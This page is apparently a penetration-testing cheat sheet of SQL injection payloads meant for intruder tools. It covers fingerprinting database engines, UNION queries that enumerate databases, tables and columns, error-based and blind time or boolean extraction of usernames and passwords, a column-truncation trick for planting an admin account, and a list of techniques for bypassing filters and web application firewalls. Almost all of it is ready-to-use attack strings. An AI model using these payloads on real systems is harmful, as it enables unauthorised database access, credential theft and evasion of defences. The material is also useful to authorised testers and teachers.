Skip to content

SQLi - Intruder Payloads

📚 Resources

🔍 Recon

DBMS Identification

Keywords Based list

DBMS Identication
DBMSSQL Payload
MySQLconv('a',16,2)=conv('a',16,2)
SQLITElast_insert_rowid()>1
MSSQLBINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)
ORACLERAWTOHEX('AB')=RAWTOHEX('AB')
POSTGRESQLpg_client_encoding()=pg_client_encoding()
MSACCESSval(cvar(1))=1

Dicovering via SQL Query

Discovery version

php
# - MySQL: ' UNION SELECT @@version, NULL -- -
# - MSSQL: ' UNION SELECT @@version, NULL -- -
# - DB2: ' UNION SELECT versionnumber, NULL FROM sysibm.sysversions -- -
# - Oracle: ' UNION SELECT banner, NULL FROM v$version WHERE rownum = 1 -- -
# - PostgreSQL: ' UNION SELECT version(), NULL -- -
# - SQLite: ' UNION SELECT sqlite_version(), NULL -- -

List Databases

php
# - MySQL: ' UNION SELECT schema_name, NULL FROM information_schema.schemata -- -
# - MSSQL: ' UNION SELECT name, NULL FROM sys.databases -- -
# - Oracle: ' UNION SELECT username, NULL FROM all_users -- -
# - PostgreSQL: ' UNION SELECT datname, NULL FROM pg_database -- -
# - DB2: ' UNION SELECT schemaname,2,3,4 FROM syscat.schemata -- -
# - SQLite: ' UNION SELECT name,2,3,4 FROM pragma_database_list -- -

List Available Tables

php
# - MySQL: ' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = DATABASE() -- -
# - MSSQL: ' UNION SELECT table_name, NULL FROM information_schema.tables -- -
# - DB2: ' UNION SELECT name, NULL FROM sysibm.systables WHERE creator = CURRENT USER -- -
# - Oracle: ' UNION SELECT table_name, NULL FROM all_tables WHERE rownum <= 10 -- -
# - PostgreSQL: ' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = 'public' -- -
# - SQLite: ' UNION SELECT name, NULL FROM sqlite_master WHERE type='table' -- -

List the columns of a specific table

php
# - MySQL: ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' -- -
# - MSSQL: ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' -- -
# - DB2: ' UNION SELECT colname, NULL FROM syscat.columns WHERE tabname = 'USERS' -- -
# - Oracle: ' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS' -- -
# - PostgreSQL: ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' -- -
# - SQLite: ' UNION SELECT sql, NULL FROM sqlite_master WHERE name = 'users' AND type = 'table' -- -
usefull var
bash
database()
user()
version()
@@version
@@datadir
@@basedir
@@tmpdir
@@socket
@@hostname
@@servername
@@language
@@spid # current user's process ID
current_user()
db_name()
session_user()
system_user()
connection_id()
Comments
TypeDescriptionDBMS
--SQL CommentMySQL, MSSQL, SQLite, Oracle, PostgreSQL
#Hash commentMySQL
/**/C-style commentMySQL, MSSQL, SQLite, Oracle, PostgreSQL
`BacktickMySQL
;%00Null ByteMySQL, MSSQL

🚪 Post exploit

MD5 - SHA1

This resource is a PHP code to search special caractere to escape SQL string

Error Based

Based on output to identify DBMS

sql
-- Create your error

-- Get db
,cast((chr(95)||current_database()) as numeric)

-- Get table
,cast(( SELECT table_name FROM information_schema.tables WHERE table_catalog=current_database() LIMIT 1 OFFSET 1 ) as numeric)

-- Get columns
,(cast(( SELECT column_name FROM information_schema.columns WHERE table_name=chr(109)||chr(51)||chr(109)||chr(98)||chr(114)||chr(51)||chr(53)||chr(116)||chr(52)||chr(98)||chr(108)||chr(51) LIMIT 1 OFFSET 0 ) as int))

-- extract rows from one column
,(cast(( SELECT id||chr(32)||us3rn4m3_c0l||chr(32)||p455w0rd_c0l||chr(32)||em41l_c0l FROM m3mbr35t4bl3  LIMIT 1 OFFSET 0) as int))

🔍 SQLi - Blind Injection

⌛ Time-Based

Guess data by measuring response time:

sql
-- Used SLEEP() and condition (used sqlmap)
' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --

Time-Based Payloads with Conditions

sql
1 AND IF(ASCII(SUBSTRING(user,1,1))=97, SLEEP(5), 0)

-- MySQL CASE workaround
1 AND (SELECT CASE WHEN LENGTH(user)=5 THEN 1 ELSE 0 END) = 1

-- Using logical expressions
1 AND (SELECT 1 FROM dual WHERE 'a'='a') -- always true

-- PostgreSQL alternative
1 AND CASE WHEN (user LIKE 'a%') THEN pg_sleep(5) ELSE pg_sleep(0) END

🕵️‍♂️ Data Guessing Techniques

🎯 Get length

sql
1 AND LENGTH(user) = 5  -- No quotes needed
1 AND LENGTH((SELECT user FROM users WHERE id=1)) = 5

admin' and (select length(password)>7)-- -

🔤 Extract characters (Blind)

sql
-- Enumerate password
1 and (select substr(password,1,1)='a')--
---------------------------------------------------
1 && substring(password,1,1)='a'--
sql
1 AND ASCII(SUBSTRING(user,1,1)) = 97 -- 'a'
1 AND ASCII(SUBSTRING((SELECT user FROM users WHERE id=1),1,1)) = 97
1 AND ASCII(SUBSTRING(user FROM 1 FOR 1)) = 97      -- If comma is filtered
1 AND ORD(MID(user,1,1)) = 97                       -- Alternate function
1 AND (SELECT SUBSTRING(password,1,1)) = 'a'        -- Classic char guessing

Truncation

sql
-- You can bypass some SQL restrictions playing with the var size limits

CREATE TABLE users (username varchar(10), password varchar(20));
INSERT INTO users VALUES('admin','adminPassword');
INSERT INTO users VALUES('admin [whitespace] * 20 foo','h4ck3dBar');

--> 2 admins added
--> Possible to add your own admin account

🔁 Bypass WAF & Filters

Look the cheatsheet on intruder payloads and methods to bypasss.

🔒 Blocked Characters

FilteredAlternative
' (quote)Use numeric or ASCII logic
, (comma)Use FROM..FOR syntax: SUBSTRING(col FROM x FOR y)
UNIONUse EXISTS, subqueries
SLEEP, IFUse CASE, logical expressions

White Space Filtered

bash
/**/ => (if filtered become) => /*<random_chars>*/
||
%A0
%2B
%00
%09
%0A
%0D
%0C
%0B

Bypass using comments and parenthesis:

sql
-- Comment
?id=1/*comment*/AND/**/1=1/**/--
?id=1/*!12345UNION*//*!12345SELECT*/1--

-- Parenthesis
SELECT(1)FROM(information_schema.tables)
SELECT*FROM
?id=(1)and(1)=(1)--

No comma (,)

Bypass using OFFSET, FROM and JOIN.

ForbiddenBypass
LIMIT 0,1LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1)SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
sql
SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT username FROM users)d

Case Modification

sql
-- MiXEd CaSe
sEleCt unIoN fRoM aNd oR ...

Bypass keywords filtered.

ForbiddenBypass
AND&&
OR||
=LIKE, REGEXP, BETWEEN
>NOT BETWEEN 0 AND X
WHEREHAVING
sql
-- No Equals Allowed
LIKE,
NOT IN,
IN,
BETWEEN

Misc

sql
/* Bypass ' or ", you can used hex value or CHAR(XX)*/
0xffffffff
CHAR(XX,XX,XX,XX)
sql
/*!50000 SELECT 1 */          -- Executed if MySQL >= 5.0.0
/*!40000 SELECT 1 */          -- Executed if MySQL >= 4.0.0
/*!SELECT 1*/                 -- Always executed

🔒 Blocked Functions

sql
SUBSTRING()
SUBSTR()
MID()
LEFT()
RIGHT()

Use alternatives:

sql
-- Use LIKE
1 AND user LIKE "a%"           -- Starts with 'a'
1 AND user LIKE "admi%"        -- Starts with 'admi'

-- Use REGEXP
1 && user REGEXP "^a"          -- Starts with 'a'
1 AND user REGEXP "^admin$"    -- Exact match

🔧 Union & Logic-Based Bypass

🔄 Union Bypass

sql
1 AND EXISTS(SELECT 1 FROM users WHERE user LIKE 'admin%')

-- Use subqueries
1 && (SELECT COUNT(*) FROM information_schema.tables) > 0

🧠 Logical Checks (Based on bool)

sql
1 AND 1=1          -- Always true
1 AND 1=2          -- Always false
1 && 'a'='a'      -- Works without numbers